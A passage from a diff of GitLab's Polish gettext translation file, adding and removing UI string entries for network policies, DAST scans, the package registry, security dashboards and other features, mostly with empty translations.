+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16526,12 +17083,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16778,9 +17335,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16989,6 +17549,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17127,18 +17696,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17274,6 +17840,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17292,9 +17861,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17400,13 +17957,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17550,7 +18113,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18054,6 +18617,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,13 +18773,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18225,6 +18791,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18915,6 +19478,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18939,6 +19505,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19530,7 +20099,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,10 +20108,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19602,6 +20180,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20303,6 +20893,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20372,9 +20965,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20408,9 +20998,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20423,12 +21010,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20477,15 +21058,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20670,9 +21245,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "Rozwiąż konflikty w gałęzi źródłowej"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21048,6 +21626,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr "Uruchom procesy CI/CD dla zewnętrznych repozytoriów"
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21186,6 +21770,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21216,6 +21803,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21264,6 +21854,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21306,6 +21899,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21703,13 +22323,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21946,6 +22566,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21976,6 +22599,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22165,6 +22791,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22177,6 +22809,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22497,19 +23135,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22605,6 +23243,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr "Coś poszło nie tak przy próbie zmiany poziomu prywatności tego zgło
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22890,11 +23543,11 @@ msgstr "Coś poszło nie tak, nie można dodać %{project} do pulpitu nawigacyjn
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
-msgstr "Coś poszło nie tak, nie można usunąć projektu"
+msgid "Something went wrong, unable to get projects"
+msgstr ""
msgid "Something went wrong, unable to search projects"
msgstr ""
@@ -23790,6 +24443,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "Synchronizuj informacje"
@@ -23838,6 +24494,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23850,6 +24509,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "Przetwarzanie pokrycia testowego"
@@ -24105,9 +24773,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24154,7 +24816,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Certyfikat X509 służy do użycia w przypadku, gdy do komunikacji z zewnętrzną usługą autoryzacji jest wymagany wspólny TLS. Jeśli pozostanie puste, certyfikat serwera będzie nadal sprawdzany podczas uzyskiwania dostępu za pośrednictwem protokołu HTTPS."
@@ -24211,6 +24876,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
